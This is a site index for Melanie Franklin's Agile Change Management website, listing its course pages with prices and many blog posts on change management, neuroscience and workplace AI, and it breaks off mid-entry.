# Agile Change Management > Melanie Franklin --- ## Pages - [Change for Project Professionals](https://agilechangemanagement.co.uk/courses/change-for-project-professionals/): Change for Project Professionals SELF-PACED ONLINE masterclass £395. 00 + VAT Buy Now OR If you want continuous learning and... - [Overcoming Imposter Syndrome Master Class](https://agilechangemanagement.co.uk/courses/overcoming-imposter-syndrome-master-class/): NEW! Overcoming Imposter Syndrome SELF-PACED ONLINE master class £195. 00 + VAT BUY NOW OR If you want continuous learning... - [Change for Non-Change Managers Master Class](https://agilechangemanagement.co.uk/courses/change-for-non-change-managers-master-class/): NEW! Change for Non-Change Managers SELF-PACED ONLINE master class £395. 00 + VAT Buy Now OR If you want continuous... - [Neuroscience for Change](https://agilechangemanagement.co.uk/neuroscience-for-change/): By completing the Neuroscience for Change course you will have access to a toolkit to understand how the brain works when it comes to change. - [Digital Leadership](https://agilechangemanagement.co.uk/courses/digital-leadership/): Digital Leadership SELF-PACED ONLINE masterclass £495. 00 + VAT Buy Now OR If you want continuous learning and multiple master... - [About Us](https://agilechangemanagement.co.uk/about-us/): Agile Change Management will no longer be a ltd company, invoicing will come from Capability for Change Ltd. Find out more about the company - [Creating Insights to Drive Better Change Outcomes](https://agilechangemanagement.co.uk/courses/creating-insights-to-drive-better-change-outcomes/): Creating Insights to Drive Better Change Outcomes SELF-PACED ONLINE masterclass £295. 00 + VAT Buy Now OR If you want... - [Change Management Master Class Series](https://agilechangemanagement.co.uk/courses/change-management-master-class-series/): Change Management Master Class Series SELF-PACED ONLINE masterclasses Welcome to our change management master class series; short courses taught by... - [Build your Change Network Masterclass](https://agilechangemanagement.co.uk/courses/build-your-change-network-masterclass/): Build your Change Network SELF-PACED ONLINE masterclass £295. 00 + VAT Buy Now OR If you want continuous learning and... - [ChangeabilityPro®](https://agilechangemanagement.co.uk/changeabilitypro/): Sign up to ChangeabilityPro® today for a fantastic resource on your organisational change journey. Create your account today. - [Self-Paced Login](https://agilechangemanagement.co.uk/self-paced-login/): Login to your self-paced training Our online self-paced training is brought to you by ChangeabilityPro® Log into your ChangeabilityPro® account... - [Agile Change Coach Self Paced Course](https://agilechangemanagement.co.uk/courses/agile-change-coach-self-paced-course/): The self-paced online Agile Change Coach course is packed full of “neuro-hacks” to help you learn and understand organisational change - [Agile Change Agent Self Paced Course](https://agilechangemanagement.co.uk/courses/agile-change-agent-self-paced-course/): The Agile Change Agent Self-Paced Online course is relevant for anyone who is taking part in change at work. No Experience required - [Agile Change Testimonials](https://agilechangemanagement.co.uk/testimonials/): Agile Change Management Course Feedback - [Login](https://agilechangemanagement.co.uk/login/): - [About Melanie](https://agilechangemanagement.co.uk/about-melanie/): Everything you need to know about Melanie is right in front of your eyes. She has 20 years of experience in different fields and helps people to make a change and improve their personal and professional performance in the UK. Melanie is also an author of many publications and a speaker at conferences worldwide. - [Online Activities](https://agilechangemanagement.co.uk/oa/): - [Venues](https://agilechangemanagement.co.uk/venues/): - [Presenters](https://agilechangemanagement.co.uk/presenters/): - [Upcoming Events](https://agilechangemanagement.co.uk/upcoming/): - [White Papers](https://agilechangemanagement.co.uk/insights/white-papers/): Search Insights & Resources White Papers Points of view from Melanie on the change management profession Agile Change Management Featured... - [Videos](https://agilechangemanagement.co.uk/insights/videos/): Search Insights & Resources Search Videos Get actionable insights from Melanie live and on-demand. Agile Change Management Featured videos Leadership... - [Articles](https://agilechangemanagement.co.uk/insights/articles/): Search Insights & Resources Articles Insights and papers from Melanie that explore the progression of the change management profession - [In-House Change Management Training](https://agilechangemanagement.co.uk/courses/in-house-training/): If you're looking for In-House Change Management Training take a look at my offerings here. Contact me for more information. - [Shop](https://agilechangemanagement.co.uk/shop/): - [Download](https://agilechangemanagement.co.uk/download/): Success, here is your download Please download your free copy of our What is Agile Change, written by Melanie Franklin.... - [Vlog](https://agilechangemanagement.co.uk/vlog/): Vlogs - [Download](https://agilechangemanagement.co.uk/newsletter/download/): Thank you for subscribing To say thanks, please download your free copy of our What is Agile Change, written by... - [Newsletter](https://agilechangemanagement.co.uk/newsletter/): Sign Up to the Agile Change Newsletter to keep up to date with courses information, classes and industry news. - [Agile Change Agent](https://agilechangemanagement.co.uk/courses/agile-change-agent/): By completing the Agile Change Agent Course, you'll create your own agile roadmap, identify the benefits of change relevant to your business. - [Courses](https://agilechangemanagement.co.uk/courses/): Take a look at all of our Change Management Courses an select the best one for you and your team. Which will you choose? - [Books](https://agilechangemanagement.co.uk/books/): Agile Change Management Books from Leading Agile Change consultant Melanie Franklin. Learn Melanies trusted ways to deliver effective change solutions. - [Copyright & Trademark](https://agilechangemanagement.co.uk/copyright-trademark/): Details and descriptions of all of the Agile Change Copyright & Trademark items that you will find on our website. - [Privacy & Cookies Policy](https://agilechangemanagement.co.uk/privacy-policy/): Agile Change Management takes your privacy very seriously. The website's Privacy Policy is committed to ensuring that your privacy is protected. It also sets out how Agile Change uses and protects any information that you give when you use this website. - [Terms and Conditions](https://agilechangemanagement.co.uk/terms-and-conditions/): The Company means Agile Change Management Limited and any sub-contractor for the company. Any On-site training/course means educational courses offered by Agile Change Management for an individual corporate customer at a location specified by the customer. - [Executive Coaching](https://agilechangemanagement.co.uk/consultancy/executive-coaching/): Executive Coaching is no easy task and consulting with a professional will help. Get consultancy with Melanie in the UK and learn to create pragmatic strategies, which will ensure that those who participate in acquiring an organisation are passionate in creating the newly merged organisation. - [Culture Integration](https://agilechangemanagement.co.uk/consultancy/culture-integration/): It is important to know how to implement Culture Integration into the system. Melanie Franklin organises Culture Integration consultancy in the UK, determines the values and beliefs that build the support structure of your culture of innovation. With that knowledge you'll make smart decisions and have better understanding. - [Transformational Change](https://agilechangemanagement.co.uk/consultancy/transformational-change/): Transformational Change is key if you need to target specific things that prevent your further progress. Our Transformational Coaching in the UK will support you in managing specific changes by using diagnostic tools to ascertain performance against critical success factors. Get in touch with Melanie by calling +44 7960 995262. - [Agile Change Coach](https://agilechangemanagement.co.uk/courses/agile-change-coach/): The Agile Change Coach course develops your ability to lead yourself and others through organisational change, using practical frameworks. - [Change Management](https://agilechangemanagement.co.uk/courses/change-management/): Agile Change Management provides a list of services, such as Change Management Practitioner courses, Change Management qualifications etc. - [Insights](https://agilechangemanagement.co.uk/insights/): We write new insights every week bringing you our thoughts and opinions on all topics relating to workplace change - [Home](https://agilechangemanagement.co.uk/): Agile Change Management supports professionals dealing with workplace change to provide them with the skills and knowledge they require - [My account](https://agilechangemanagement.co.uk/my-account/): Looking for your online self-paced training? Log into your ChangeabilityPro® account here Login here to manage your account and purchase... - [Checkout](https://agilechangemanagement.co.uk/checkout/): - [Cart](https://agilechangemanagement.co.uk/cart/): --- ## Posts - [Communicating Change in the Work Place](https://agilechangemanagement.co.uk/communicating-change/): Communicating change in the work place is as important as the change itself. It’s not unusual for there to be... - [The Impact of AI on Change Management and How to Stay in the Loop](https://agilechangemanagement.co.uk/the-impact-of-ai-on-change-management/): In this insight, I’ll be diving into the impact of AI on Change Management, how to keep in the loop and how we can utilise it for success - [Why Understanding Neuroscience for Change is Core to Great Leadership](https://agilechangemanagement.co.uk/why-understanding-neuroscience-for-change-is-core-to-great-leadership/): In a world of artificial intelligence Understanding neuroscience for change is so important and can help you on your journey to leadership - [Behaviour Change Techniques: 9 Elements for Success](https://agilechangemanagement.co.uk/behaviour-change-techniques-9-elements-for-success/): Behaviour change techniques are a big part of all of my Agile Change courses. Here are 9 elements for you to focus on for change - [Choosing the Right Agile Change Course for Your Job](https://agilechangemanagement.co.uk/choosing-the-right-agile-change-course-for-your-job/): Here’s a breakdown of my courses to help you with choosing the right agile change course for your job. Contact me or more information - [Defining Your Objectives for Change Management](https://agilechangemanagement.co.uk/defining-your-objectives-for-change-management/): We need to spend more time focused on defining your objectives for change management & less time on the specific work needed to achieve change - [Building Change Capability Across Your Organisation](https://agilechangemanagement.co.uk/building-change-capability-across-your-organisation/): I use my 30+ years of experience in change to define the success criteria for building change capability across your organisation - [Get More People Involved in Change in the Workplace](https://agilechangemanagement.co.uk/get-more-people-involved-in-change-in-the-workplace/): If we want to embrace the professional world around us then we need to get more people involved in change in the workplace - [Always be Ready for a New Role](https://agilechangemanagement.co.uk/always-be-ready-for-a-new-role/): Often people come to me in a panic, because they want to apply for a new job, or they are in danger of losing their current role. - [Most Common Change Management Challenges in 2025](https://agilechangemanagement.co.uk/common-change-management-challenges/): Listening to your feedback from my training courses & master classes, I’ve identified 5 common change management challenges dominating our work - [Spring forward! Discount on Change Management Courses](https://agilechangemanagement.co.uk/spring-forward-discount-on-change-management-courses/): Last week I launched the SpringForward discount because I know so many of you are desperate to get professional qualifications. - [Specifying Your Goals: Start With the End in Mind](https://agilechangemanagement.co.uk/specifying-your-goals-start-with-the-end-in-mind/): Specifying your goals and starting with the end in mind forces us to consider future possibilities for how we work, what we do & why we do it - [Building an Influencing and Persuading Strategy](https://agilechangemanagement.co.uk/influencing-and-persuading-strategy/): If this creating an influencing and persuading strategy sounds like something you would like to be able to do, read on! - [Creating an Iterative Plan During Organisational Change](https://agilechangemanagement.co.uk/creating-an-iterative-plan/): Creating and iterative plan is a successful way of managing organisational change and being productive when you have a lot to do - [Do you have enough people involved in the workplace changes you are making?](https://agilechangemanagement.co.uk/do-you-have-enough-people-involved-in-the-workplace-changes-you-are-making/): To increase the results from people involved in workplace change, use these 3 aspects to create motivation for everyone to learn the basics - [Change Management for Mergers and Acquisitions: How to successfully manage changes during and after mergers and acquisitions](https://agilechangemanagement.co.uk/change-management-for-mergers-and-acquisition/): Something that I am often approached for is Change Management for Mergers and Acquisitions. This can be a delicate time for all involved. - [Agile Change Techniques are Essential to Organisational AI Adoption](https://agilechangemanagement.co.uk/agile-change-techniques-are-essential-to-organisational-ai-adoption/): Using Agile Change techniques short-cuts the feedback loop, delivering real experience of how the change works in practice very early in the lifecycle - [Training and Development: Choosing the Right Activities for You and Your Career](https://agilechangemanagement.co.uk/training-and-development-choosing-the-right-activities-for-you-and-your-career/): Participating in training and development programmes creates an amazing feeling of achievement and can be a huge boost for your career. - [How Do I Build My Digital Leadership Skills? Digital Leadership Master Class](https://agilechangemanagement.co.uk/how-do-i-build-my-digital-leadership-skills-digital-leadership-master-class/): I’m sharing my experience from the Digital Leadership Master Class, by Mel Ross, an expert coach in digital transformation & leadership - [How do I Adopt a Growth Mindset?](https://agilechangemanagement.co.uk/how-do-i-adopt-a-growth-mindset/): How do you easily and simply adopt a growth mindset? Or a change in your work? Find out in my latest insight – Agile Change Management - [Getting Ready to Attend a Training Course](https://agilechangemanagement.co.uk/getting-ready-to-attend-a-training-course/): Getting ready to attend a training course is an important process that many people don't consider. Here are some recommendations - [Making Time for Learning in 2025](https://agilechangemanagement.co.uk/making-time-for-learning-in-2025/): My new year’s resolution for work this year is to be proactive in making time for learning. Find out why and how I am doing this here - [How to Work Smarter for 2025](https://agilechangemanagement.co.uk/how-to-work-smarter-for-2025/): As the year draws to a close, I thought it would be a good idea to take this opportunity to discuss how to work smarter for 2025 - [Creating an Achievements List for 2024](https://agilechangemanagement.co.uk/creating-an-achievements-list-for-2024/): I am using December to create an achievements list for 2024. This is great practice to ensure I finish work for the holidays feeling positive - [Change Capability Community: The Supportive Environment Available in the Change Community](https://agilechangemanagement.co.uk/explaining-the-supportive-environment-available-in-change/): Change Capability Community: The Supportive Environment Available in the Change Community - Join our community here. - [Change Management Survey 2024 Results](https://agilechangemanagement.co.uk/change-management-survey-2024-results/): Here are the results of this years change management survey. In this insight, I break down the career ambitions of members of our community - [Your Stakeholders are Overwhelmed – Use Agile Change Techniques to Reduce Workload](https://agilechangemanagement.co.uk/your-stakeholders-are-overwhelmed-use-agile-to-reduce-their-workload/): If your stakeholders are getting overwhelmed during your change initiative, find out out to use agile change techniques to reduce workload - [Understanding and Embracing Agile Change](https://agilechangemanagement.co.uk/understanding-and-embracing-agile-change/): Agile Change is a transformative approach that combines principles from the agile methodologies, traditionally used in software development. - [Change Management Training Courses & Certifications, Which Should you choose?](https://agilechangemanagement.co.uk/which-change-management-training-course-should-you-choose/): There are lots of benefits to training, over the weekend a potential customer seeking to ensure she was selecting the most relevant training - [Benefits of Change Management Training from Agile Change](https://agilechangemanagement.co.uk/benefits-of-being-trained-in-agile-change/): Find out about the benefits of change management training and why you and your team should consider gaining some certifications. - [Tips For Getting Your Next Job in Change Management](https://agilechangemanagement.co.uk/tips-for-getting-your-next-job-in-change-management/): Here are my top tips for getting your next job in Change Management. A very topical subject with several people moving on at the moment - [Preparing for Change Management Exams with Agile Change Management](https://agilechangemanagement.co.uk/preparing-for-change-management-exams-with-agile-change-management/): Preparing for the change management exams is a lot of work. To maximise this work, I used the experience to review training styles for the exam - [Building an Organisation - Wide Capability for Change](https://agilechangemanagement.co.uk/building-an-organisation-wide-capability-for-change/): Building an organisation capability for change with agile change management: if you want the materials to train others, contact me - [Finding Answers to Resistance to Change in the Workplace](https://agilechangemanagement.co.uk/finding-answers-to-resistance-to-change-in-the-workplace/): Of course, there is always going to be resistance to change in the workplace. Here are some solutions and answers to help - [Exciting News – Agile Change Coach Certification Open To All](https://agilechangemanagement.co.uk/exciting-news-agile-change-coach-certification-open-to-all/): APMG International have such faith in the Agile Change Coach certification, they’ve asked for it to be available to their companies worldwide - [Relationship Between Change Managers and Project Managers](https://agilechangemanagement.co.uk/relationship-between-change-managers-and-project-managers/): I asked a question about the relationship between Change Managers and Project Managers, & asked the group to share their experiences. - [Build your capability to include depth and breadth of knowledge](https://agilechangemanagement.co.uk/build-your-capability-to-include-depth-and-breadth-of-knowledge/): To be your most effective self you have to be able to switch between depth of knowledge and breadth of perspective. - [Relevance of Agile Change](https://agilechangemanagement.co.uk/relevance-of-agile-change/): I was recently asked about the importance of Agile Change, as I am the Chief Examiner for the Agile Change Agent & Coach certifications. - [The Importance of Agile Change in the Workplace](https://agilechangemanagement.co.uk/the-importance-of-agile-change-in-the-workplace/): I was recently asked about the importance of Agile Change in the workplace. Here are my thoughts on the importance and the rate of change. - [Important News About the Change Management Practitioner Certification](https://agilechangemanagement.co.uk/important-news-about-the-change-management-practitioner-certification/): Important news about the change management certifications – there has been a change to the source text – see the impact here - [What do you want from a training course?](https://agilechangemanagement.co.uk/what-do-you-want-from-a-training-course/): What do you want from your training course? What are you looking for in a training course? Let me know your thoughts - [Integrating Change Management Practices](https://agilechangemanagement.co.uk/integrating-change-management-practices/): Integrating change management practices is one of the fundamental elements in successful organisational change. Find out more. - [Essentials of Change Management](https://agilechangemanagement.co.uk/essentials-of-change-management/): In this insight, I’ll be discussing the essentials for change management. this is a very large topic so contact me for more information. - [Key Principles Agile Change Management](https://agilechangemanagement.co.uk/key-principles-agile-change-management/): In this insight, I discuss the 7 key principles of agile change management. contact me today if you would like to book a course with me. - [Neurodiversity in the Workplace: Top Reasons for Applying Neuroscience to Your Work](https://agilechangemanagement.co.uk/neurodiversity-in-the-workplace-top-reasons-for-applying-neuroscience-to-your-work/): Neurodiversity in the workplace is becoming more appreciated, and organisations are finding ways to apply neuroscience in their work. - [Benefits of Change Management Training](https://agilechangemanagement.co.uk/benefits-of-change-management-training/): One of the benefits of Change management training is the understanding you will gain of navigating change within the workplace. Find out more - [Choosing a Change Management Course](https://agilechangemanagement.co.uk/choosing-a-change-management-course/): When it comes to choosing a change management course, it can be difficult to know which course to choose. Find out the differences here - [Top 5 Benefits of Agile Change Management](https://agilechangemanagement.co.uk/top-5-benefits-of-agile-change-management/): Take a look at the highlights from my webinar on the benefits of Agile Change Management. This webinar was very popular and still is today - [Agile Planning Techniques: Start using the best technique for business](https://agilechangemanagement.co.uk/agile-planning-techniques-start-using-the-best-technique-for-business/): If you’re embarking on organisational change in your business then Agile Planning Techniques are imperative for your success. - [Using Agile Change techniques to work smarter, not harder](https://agilechangemanagement.co.uk/using-agile-change-techniques-to-work-smarter-not-harder/): In my recent webinar, I provided a training session on techniques to work smarter not harder; to help us cope with our overwhelming workload - [Techniques for increasing your stakeholder engagement](https://agilechangemanagement.co.uk/techniques-for-increasing-your-stakeholder-engagement/): I recently delivered a webinar about techniques for increasing your stakeholder engagement. Find out about the techniques discussed here. - [Benefits of the Agile Change Coach Course](https://agilechangemanagement.co.uk/benefits-of-the-agile-change-coach-course/): The Agile Change Coach course has many benefits. Read to find out more and listen to what some of our recent delegates have to say! - [Quality criteria for an excellent training course](https://agilechangemanagement.co.uk/quality-criteria-for-an-excellent-training-course/): I’ve collected feedback from 15 of my most recent courses to summarise quality criteria for an excellent training course - [Utilising AI for Tasks at Work](https://agilechangemanagement.co.uk/utilising-ai-for-tasks-at-work/): I’m on a mission when it comes to utilising AI for tasks at work. Part of teaching myself about AI is attendance at lots of webinars. - [Impact Assessments: Using AI for Tracking Progress of Change](https://agilechangemanagement.co.uk/impact-assessments-using-ai-for-tracking-progress-of-change/): Tracking the progress of change means using data as well as assessing how people feel. How can we use AI for tracking the process of change? - [How Will AI Affect How We Work?](https://agilechangemanagement.co.uk/how-will-ai-affect-how-we-work/): We all know AI is growing – it’s everywhere. In this insight, we will consider how AI will affect how we work and what we can do about it. - [Effective Management of Admin Tasks - Rules are the new normal!](https://agilechangemanagement.co.uk/effective-management-of-admin-tasks-rules-are-the-new-normal/): This week I’ve had a break-through when it comes to effective management of admin tasks. AI has shifted my thinking & I’m working in new ways - [Programming AI: Putting the Intelligence into Artificial Intelligence](https://agilechangemanagement.co.uk/putting-the-intelligence-into-artificial-intelligence/): Something which is rarely understood or even considered, is programming AI and where the intelligence comes from. - [Skill Set and AI: Curiosity is the Most Important Skill](https://agilechangemanagement.co.uk/skill-set-and-ai-curiosity-is-the-most-important-skill/): This led me to thinking about skill set & AI and to review the skills we need in a culture where humans work alongside intelligent machines. - [Digital Transformations: Build a culture to balance humans and machines](https://agilechangemanagement.co.uk/digital-transformations-build-a-culture-to-balance-humans-and-machines/): The next wave of digital transformation is now upon us, with the need to adopt new AI tools, there are different thoughts about the impact. - [Artificial Versus Emotional Intelligence](https://agilechangemanagement.co.uk/artificial-versus-emotional-intelligence/): Will the use of AI lead us to focus more on using our humanity to uncover more information than surface level analysis can reveal? - [LinkedIn Learning and AI](https://agilechangemanagement.co.uk/linkedin-learning-and-ai/): As LinkedIn has such a big global reach, I was interested to find that their learning platform, Linkedin Learning is now using an AI front end - [AI in Professional Fields: Where Are We Currently At? And how is the Landscape Changing?](https://agilechangemanagement.co.uk/ai-in-professional-fields/): The development of AI in professional fields – what has already changed, where have we come from and what can we expect in the future. - [Using AI for L&D Ideas](https://agilechangemanagement.co.uk/using-ai-for-ld-ideas/): Find out more about using AI for L&D ideas. Do you think AI is the biggest change in business development this year? - [AI-Generated Work – When Help Becomes a Hindrance](https://agilechangemanagement.co.uk/ai-generated-work-when-help-becomes-a-hinderance/): Here are a few questions I think we can use to assess if someone has done the work and is not passing off AI-generated work as their own. - [Is using AI making me lazy or more efficient?](https://agilechangemanagement.co.uk/is-using-ai-making-me-lazy-or-more-efficient/): My early experiences of using various AI tools have already caused a shift in my behaviour. Is AI causing me to be more efficient or lazy? - [Living With AI at Work](https://agilechangemanagement.co.uk/living-with-ai-at-work/): AI at work: Read about with my first attempt at writing a governance policy for the AI that Agile Change Mangement uses. - [My early experiences with Co-Pilot from Microsoft](https://agilechangemanagement.co.uk/my-early-experiences-with-co-pilot-from-microsoft/): This week I have been trialling Co-pilot from Microsoft. Find out more about my experience and how I would recommend using it in business. - [Identifying Areas for Change – Should We Use AI?](https://agilechangemanagement.co.uk/identifying-areas-for-change-should-we-use-ai/): I’ve been running workshops to increase the ownership of those who need to identify areas for change and whether or not we should be using AI. - [Understanding AI – It's everywhere!](https://agilechangemanagement.co.uk/understanding-ai-its-everywhere/): Understanding AI & utilising AI tools is a popular trend. Lots of companies are trying things out, learning as they go and sharing experiences - [Sometimes Artificial Intelligence Looks Really Artificial](https://agilechangemanagement.co.uk/artificial-intelligence-looks-really-artificial/): AI allows us to create content instantly, but remember, sometimes Artificial Intelligence looks really artificial – what can we do about this? - [Benefits of Neuroscience for Change Course ](https://agilechangemanagement.co.uk/benefits-of-neuroscience-for-change-course/): There are several benefits of our neuroscience for change course. Find out the main reasons you should invest and sign up today. - [Should We Use AI To Automate Repetitive Tasks?](https://agilechangemanagement.co.uk/should-we-use-ai-to-automate-repetitive-tasks/): As AI is deployed increasingly to automate repetitive tasks, I keep being reminded that what we value will shift. - [Adopting AI for Change ](https://agilechangemanagement.co.uk/adopting-ai-for-change/): As with any cultural adjustment, adopting AI for change is a long-term undertaking and is likely to last years – if not longer. - [Using AI Tools to Optimise Workflow](https://agilechangemanagement.co.uk/using-ai-tools-to-optimise-workflow/): There is so much information to digest when it comes to AI. New tools are always being launched, as well as existing tools increasing in users. - [Using AI tools to grow your knowledge](https://agilechangemanagement.co.uk/using-ai-tools-to-grow-your-knowledge/): There are so many different AI tools available today! To get the most from AI tools to grow your knowledge, we have to do the up-front thinking. - [When Should I Use AI for Generating Content in My Field? ](https://agilechangemanagement.co.uk/when-should-i-use-ai-for-generating-content-in-my-field/): Everyone is jumping on the AI train, which is making all of us question when using AI for generating content is the right thing to do - [Week 44 - Top 5 Advantages of reframing negative thoughts to positive ones](https://agilechangemanagement.co.uk/5-advantages-of-reframing-negative-thoughts/): Never underestimate the power of reframing negative thoughts and establishing a positive environment – it gives us so many advantages. - [Week 43 - Measures can be motivating](https://agilechangemanagement.co.uk/week-43-measures-can-be-motivating/): As I started this post, I looked up the definition of vicious circle to make sure I was properly describing how I feel today. - [Week 42 - Getting Out of a Vicious Circle](https://agilechangemanagement.co.uk/week-42-getting-out-of-a-vicious-circle/): As I started this post, I looked up the definition of vicious circle to make sure I was properly describing how I feel today. - [The Advantages of Self-Paced Learning Online](https://agilechangemanagement.co.uk/advantages-of-self-paced-learning/): What are the advantages of self-paced learning online? Why you should consider completing qualifications and certifications in this way - [Using AI to “listen” to what is being said about our change initiative](https://agilechangemanagement.co.uk/using-ai-to-listen-to-what-is-being-said-about-our-change-initiative/): This article has triggered lots of ideas about how we can use AI to listen to what is being said in terms of the impacts of change. - [Week 41 - The Chaos isn’t Permanent](https://agilechangemanagement.co.uk/week-40-the-chaos-isnt-permanent/): Many of us are at our busiest right now, as we try to get things finished before the end of the year. - [Week 40 - Enjoy the moment](https://agilechangemanagement.co.uk/week-40-enjoy-the-moment/): I wasn't feeling especially negative over the weekend but the bad weather and the shorter days make me sad. - [Week 39 - Lessons learnt from losing the argument](https://agilechangemanagement.co.uk/week-39-lessons-learnt-from-losing-the-argument/): This week I failed to engage my stakeholders in an important change. As I was announcing the introduction of a new app, I could feel the negativity in the room. - [Week 38 - Intentional use of our time](https://agilechangemanagement.co.uk/week-38-intentional-use-of-our-time/): Last week I felt I wasted precious time with a colleague, because I had not planned the right type of work for the situation. - [Week 37 - Resilience when you lose momentum](https://agilechangemanagement.co.uk/week-37-resilience-when-you-lose-momentum/): Today I have been really frustrated by my lack of progress, so I am feeling irritated and short tempered, which are not the right emotions. - [Week 36 - Standing still has its advantages](https://agilechangemanagement.co.uk/week-36-standing-still-has-its-advantages/): I have been talking to a cast number of change professionals from around the world as people complete the capability for change survey. - [Importance of Neuroscience in Change Management](https://agilechangemanagement.co.uk/importance-of-neuroscience-in-change-management/): If neuroscience for change interests you, be one of the first to gain the new Neuroscience for Change certification. - [Week 35 - Being tested is a positive](https://agilechangemanagement.co.uk/week-35-being-tested-is-a-positve/): On top of my already demanding workload, I signed up for an examination based course, with little time to revise. - [Executive Summary Capability for Change Survey 2022](https://agilechangemanagement.co.uk/executive-summary-capability-for-change-survey-2022/): Running this survey has given us some important insights on the state of change management as a valuable service within organisations. - [Week 34 - Make your work match your emotions](https://agilechangemanagement.co.uk/week-34-make-your-work-match-your-emotions/): I know this blog is all about shifting my emotions from negativity to finding up positives in my situation, but this is not always instant. - [Week 33 - Take back control](https://agilechangemanagement.co.uk/negatives-to-positives-33/): One common cause of my negativity is when I am let down by others, and plans that took time to create fall apart. - [Week 32 - Fill the skills gap](https://agilechangemanagement.co.uk/negatives-to-positives-32/): A source of negative thoughts is fear of not being able to do things well, of making mistakes, looking stupid and wasting time. - [Week 31 - Learning boosts our mood](https://agilechangemanagement.co.uk/negatives-to-positives-31/): This is a personal story of reversing a bad mood and finding things to make me see the situation more positively. - [Week 30 - Feeling bad because I feel left out!](https://agilechangemanagement.co.uk/negatives-to-positives-30/): This is a personal story of reversing a bad mood and finding things to make me see the situation more positively. - [Week 29 - Take a different view](https://agilechangemanagement.co.uk/negatives-to-positives-29/): I was getting frustrated this week, because I feel I am being asked to do things that are not necessary. - [Week 28 - Future proofing our changes](https://agilechangemanagement.co.uk/negatives-to-positives-28/): With so many ideas for what we can update, improve and add to our work, the number of potential changes continues to accelerate. - [Week 27 - Send a happy email!](https://agilechangemanagement.co.uk/www-agilechangemanagement-co-uk-week-27-negatives-to-positives-send-a-happy-email/): Quick technique to stop feeling negative and to start feeling positive and happy by identifying successes and sharing these successes with others. - [Week 26 - Tidy desk; positive mind!](https://agilechangemanagement.co.uk/negatives-to-positives-26/): I am not my usual up-beat and positive self, so I need to apply some neuroscience and “hack my brain” to feel better. - [Week 25 - Start with the end in mind](https://agilechangemanagement.co.uk/reframing-negatives-to-positives-25/): We are so busy, we need to reduce the processing power used by our brains by intentionally defining our intended outcome before we start work - [Week 24- Catching Our Breath](https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-24/): I am running so fast, with so many ideas, requests, demands on my time to manage, and so much work to finish that I could not think anymore. I had nothing creative or original left in me. I could follow a list, and I could complete instructions so I was busy and productive, but I could not create anything new. - [Week 23- 5 Steps to Getting Motivation Back at Work](https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-23/): During change people can lose motivation and output decreases. Here are 5 steps to getting motivation back for you and your team - [Strategies for resistance to change](https://agilechangemanagement.co.uk/strategies-for-resistance-to-change/): What attracts me to a career in change is ironically the same thing that has the power to block my engagement with my stakeholders. - [Unlocking Digital Innovation in Healthcare through Change Management](https://agilechangemanagement.co.uk/digital-innovation-through-change-management/): This article makes the distinction between technical change and adaptive change, which to my mind, is human change. - [Generative AI’s Challenge with Change Management](https://agilechangemanagement.co.uk/ais-challenge-with-change-management/): This article shares some very useful guidance on managing the change to AI. Find out more here AI’s Challenge with Change Management - [Week 22- Boosting positivity through face-to-face interactions](https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-22/): Boosting positivity through face-to-face interactions deserves more attention, especially if you predominately work alone. - [Week 21- Dealing with Negative Feedback](https://agilechangemanagement.co.uk/week-21-dealing-with-negative-feedback/): This week I am dealing with the fallout of a lot of negative feedback from the launch of a new product. Read to find out how I handled it. - [Practical Tips for Conducting Impact Assessments](https://agilechangemanagement.co.uk/practical-help-for-doing-impact-assessments/): Here are 5 practical tips that you should consider when conducting impact assessments. Why not join one of my courses? - [Week 20- Re-purposing our experiences](https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-20/): I want to celebrate the skill of re-purposing our experiences that we have created for one situation and using it somewhere else. - [Week 19- Bouncing back from disaster](https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-19/): Following on from my blog last week, I thought it would be helpful to talk about the aftermath of the disastrous project on how I feel. - [Week 18- Preventing disaster](https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-18/): I have just finished a project where the outcome was awful, the quality wasn’t right, and the benefits haven’t been realised, and the experience of getting everyone to the end has been very difficult. - [Week 17- Collaboration isn’t always the answer](https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-17/): Collaboration isn't always the answer - I am in the middle of a complex change which impacts processes and quality standards. - [Week 16- Agile approaches can knock our confidence](https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-16/): Last week I had to give a summary of progress for the last year for a high-profile program I oversee, as there is a new Sponsor. - [Resilience Powers Change Paper](https://agilechangemanagement.co.uk/resilience-powers-change-paper-2/): In this paper, we will look at what resilience is and provide solutions for creating it ourselves and for helping others to develop their coping mechanisms. - [Week 15- My change initiative has no benefits!](https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-15/): I am currently working on a change which really isn’t changing anything, replacing a current platform for capturing customer transactions. - [Week 14- Describing the Results VS Describing the Activities](https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-14/): To describe the results of our actions; we must step back and think through the impact of what we did and draw a conclusion - [Week 13- Make lemonade from lemons!](https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-13/): When things are spiralling out of control, and 1 bad thing triggers 5 other bad things, how do we find the positives in this situation? - [Week 12- More complexity leads to more achievements](https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-12/): I am working on something which has so many inter-connected parts it feels impossible to find an obvious starting point. - [Neuroscience to Drive Change at Work Paper](https://agilechangemanagement.co.uk/neuroscience-to-drive-change-at-work-paper/): Download our paper on Neuroscience to Drive Change at Work - [Week 11-Turning bad bosses into positive experiences](https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-11/): I have worked for some truly awful bosses, so I thought I would turn my feelings around and capture what I got from them. - [Emotional Assessment Questionnaire](https://agilechangemanagement.co.uk/emotional-assessment-questionnaire/): If you want a quick check on your own emotions, take this quick assessment! - [Reading Resources for Change](https://agilechangemanagement.co.uk/reading-resources-for-change/): A selection of resources to support your understanding of change as a profession. - [Video Resources for Change](https://agilechangemanagement.co.uk/video-resources-for-change/): A selection of resources in the format of video to help understand change management better. - [Week 10- Leadership techniques for lazy colleagues](https://agilechangemanagement.co.uk/reframing-the-negatives-to-positives-10/): I am currently working with an incredibly lazy and disorganised person. Here is how I find the positives in this situation... - [It is time to plan for Q2.](https://agilechangemanagement.co.uk/it-is-time-to-plan-for-q2/): As we come to the end of Q1, view Q2 as a chance for a re-set. Use my template to think about when you will do these things - [Use neuro-hacks to trigger action.](https://agilechangemanagement.co.uk/use-neuro-hacks-to-trigger-action/): We increase the chances of persuading our 